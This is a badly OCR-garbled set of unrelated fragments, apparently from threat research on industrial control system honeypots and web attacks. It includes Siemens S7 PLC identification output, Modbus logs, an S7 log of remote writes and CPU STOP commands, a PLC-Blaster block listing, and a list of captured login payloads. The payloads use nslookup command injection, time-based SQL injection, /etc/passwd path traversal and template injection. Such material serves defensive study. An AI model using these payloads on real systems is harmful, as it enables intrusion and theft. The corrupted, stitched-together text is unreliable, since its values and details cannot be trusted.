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Researchers from the cyber intelligence company Norse have said their own
investigation into the data on the Sony attack doesn’t point to North Korea at all
and instead indicates some combination of a disgruntled employee and hackers for
piracy groups is at fault.
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Copyright: Original Siemens Equipment

PLC name: p-Faellung

Module type: CPU 314

Unknown (129): Boot Loader A
Module: 6ES7 314-1AG14-PABe v.0.4

Basic Firmware: v.3.,3.2

Module name: CPU 314

Serial number of module: S C-C1lT496792012
Plant identification:

Basic Hardware: B6ES7 314-1AG14-QABQ v.0.4
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Shodan API

host = api.host('xxx.xxX.xXxx.xxxXx', history=True)
ocation designation oFf 2 module
Copyrignt Original Siemens Equlipment
Module Lyoe CPU 26
L e : CZzaikKa~-ST0U0S
Module v.0o. .0
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oM 10 of o module:
Module ame: Siemens, SIMATIC, f— 200
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(U Tuncion_cade’: 90, uslave id': 0, ureguest. V'OO0E000000050054000304°, u'resporse’; WSel0fe0adZIL3IUT4 73109387 74516058 42012818051 000 T5UCB29940a 7382 modus
(v tunation_cade : 90, usiave 1d" 0, urequest: u'0O0S0000000A00GA0004 , u' response . u'Sadite’) Mooous
(W tuncrion_code” S0, ustave Id" D Ureguest” G'OO00OCOOGOLDA%ADIDT 00, wesponcs’ U SO0 e’) moatns
(U tunciian_cade’: 90, uslave_d 0, uregquest’: L 000 BEODODOOOO%ACOADRONA 10203040500 TONOH DAOHE DD DT 0111210143 5181 710101l D1 cldin 1P 2033 222224 2% moctun
(ufunction_caode’: 90, unlave id": 0, u'requent’; W' 000O0OOCOMO0S0004", uresparnaa ' W SeOlia’) Moty
{u function_code’. 90, uslave _id". 0, u'regquest . W' OO0CO00OMC0ESHO0O04 " U IEIPOnNs: . WSal0fe’) MO
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v type’ WCONNECTION LOST] mMoabus

{u'Tunction_code'. 90, u'slave_id': 0, u'reguest’: '000100000004005a80002", u'respense’: u'5a00feS0elcA783eB20b554710065030a09e576b61a21112at modbus
{u'function_code': 90, u'slave_id": 0, u request’: v'01bt00000005005a000606, u'response’ u 5a00fe011dB849421albA424d58524d53303038445000') modbus
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{u'function_code". 90, u'slave_id" 0, u'request’. u'000f0000000d005a0020001400640000001600°, u'response’. U Sa001e00E00d6114daBBbILEE4 393 modbus
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I=RSMEET:ErlE S|
#11] DBLEUHRE X B Nl

2016-02-10 15:25:44 [209.133.66.214] Write request, Area : DB1, Start : 0, Size : 452 --> OK
2016-02-10 15:25:45 [209.133.66.214] Write request, Area : DB1, Start : 452, Size : 60 --> OK

#1DB1. 2. 3% X B AN HHE

2016-02-22 06:54:19 [93.115.95.202] Write request, Area : DB1, Start : O, Size : 16 --> OK
2016-02-22 06:54:19 [93.115.95.202] Write request, Area : DB2, Start : O, Size : 16 --> OK
2016-02-22 06:54:19 [93.115.95.202] Write request, Area : DB3, Start : 0, Size : 16 --> OK

2016-02-22 06:54:43 [93.115.95.202] CPU Control request : Block Insert or Delete --> OK

2016-02-22 06:58:09 [37.48.80.101] CPU Control request : Warm START --> OK

2016-02-22 06:58:21 [37.48.80.101] CPU Control request : STOP --> OK

2016-02-22 07:03:02 [37.48.80.101] System clock write requested
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FPLC—Blaster HYHEN
Xt B Sl Module: GES7 314-6EHO4-0ABO

S7=00 Basic Hardware: BES7 314-6EHO4-0ABO
FB65 "TCON . Uersion: 3.3.11
FBO3 “"TSEND System Name: SIMATIC 300(1)

37_1205564 TRCV Module Type: CPU 314C-2 PN/DP
TCON Serial Number: S Q-F1U061912015
TSEND,/TUSEND Copyright: Original Siemens Equipment
TRCV/TURGY Blocks Name: Count{(Num)

o OB: 1
FC5 "AG_SEND" FB: ©
FC6 "AG_RECV" FC: 13

DB: 5

SDB: 9

SFC: 77

SFB: 23

COMMFC: FC5,FC6
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{"username”:"npgxkatf”,"password":"\u0026nslookup ujSQEuUCK\u0026"\\\""0\u0026nslookup ujSQEUCK\U0026™"}

{"username":"response.write(9738914+9518300)","password";"g00dPa$$wOrD"}

{"username”:"ejqrwsuf","password":"-1 OR 2+967-967-1=0+0+0+1"}

{"username”:"set|set\u0026set","password":"g00dPa$$wOrD"}

{"username":"f771IDGP","password":"g00dPa$$w0rD"}

{"username":"' +response.write(3738914+9518300)+","password":"g00dPa$$wOrD"}

{"username":"ejqrwsuf”,"password""-1' OR 2+32-32-1=0+0+0+1 -- "}

{“username”:"$(nslookup 3XtwkTTb)","password";"g00dPas$wOrD"}

{"username":"nuasaqitl","password":"./././..J./.[ 1.1/ . Jetc/passwd"}

{"username":"\"+response.write(9738914*9518300) +\"","password":"g00dPa$$w0rD"}

{"username"”;"ejqrwsuf","password":"-1' OR 2+395-395-1=0+0+0+1 or '‘BSRDFigp'=""}

{"username":"\u0026nslookup sx2JYYj0\u0026"\\\""0\u0026nslookup sx2JYYj0\u0026™" "password":"g00dPa$$wOrD"}

{"username":"nuasqitl","password":"./././.L.1 /.M. 1.1 .11 1.1 . [prociversion”}

{"username":"buwamaght","password":"g00dPa$$wOrD"}

{"username”:"awetfwgk","password":"${9999175+9999401}}

{"username™;"ejqrwsuf”,"password":"-1\" OR 2+166-166-1=0+0+0+1 -- "}

{"username™:"nuasqitl","password":". $2F. ¥2F. %2F. %2F.. $2F. ¥2F. %2F. %2F. %2F. %2Fetck2Fpasswd%00.jpg"}

{"username”:"buwamaght”,"password":""}

{"username”;"ejqrwsuf","password";"if(now()=sysdate(),sleep(9.955),0)/* XOR(if(now()=sysdate().sleep(9.955),0)) OR'\"XOR(it

{"username";"${9999009+10000163}","password":"g00dPa$$wOrD"}

{"username”:"nuasqitl","password":"../.././.1..1.1.1.1 ./ . Jetc/passwd\u0000.jpg "}

{"username":"buwamaht”,"password":"12345\"\\'\\\")"}

{"username”:"ejqrwsuf”,"password"."(select(0)from(select(sleep(9.955)))v)/+ +(select(0)from(select(sleep(9.955)))v)+'\"+(sele

{"username":"eeukssbh","password":"http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg"}

{"username":"nuasqitl","password":". %2F.%2F. ¥2F. %2F..%2F. %2F. %2F. %2F. %2F..%2Fetck2Fpasswd%00.jpg"}

{"username":"buwamaght”,"password":null}

{"username":"ejqrwsuf","password":"1 waitfor delay '0:0:9.955' - - *}

{"username”:"eeukssbh","password":"1some_inexistent_file_with_long_name\u0000.jpg"}

{"username”:"nuasqitl","password":"/././/././]./ .11 .1].1. I etc/passwd\u0000.jpg"}

{'username":"buwamght”,"password":"g00dPaS$wOrD"}

{"username";"ejqrwsuf","password":"6fGOtST"}

{"username”:"eeukssbh","password":"Http://testasp.vulnweb.com/t/fit.txt"}

{"username:"nuasaqitl","password":" \\\\/ MWW/ MWW\ /ete/passwd '}

{"username”:"","password":"g00dPa$$w0rD"}

{"username™:"ejqrwsuf","password";"EOn3dPFf"}
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{u'REMOTE_USER': u'-', u'HTTP_USER_AGENT": u'Mozilla/5.0 (Macintosh; Intel
Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/SINGTNNUINN® Safari/537.36', u'HTTP_REFERER':
u'http:// S /index', u'HTTP_VERSION': u'HTTP/1.1', u'bytes': u'1’,
u'REQUEST_METHOD': u'POST',
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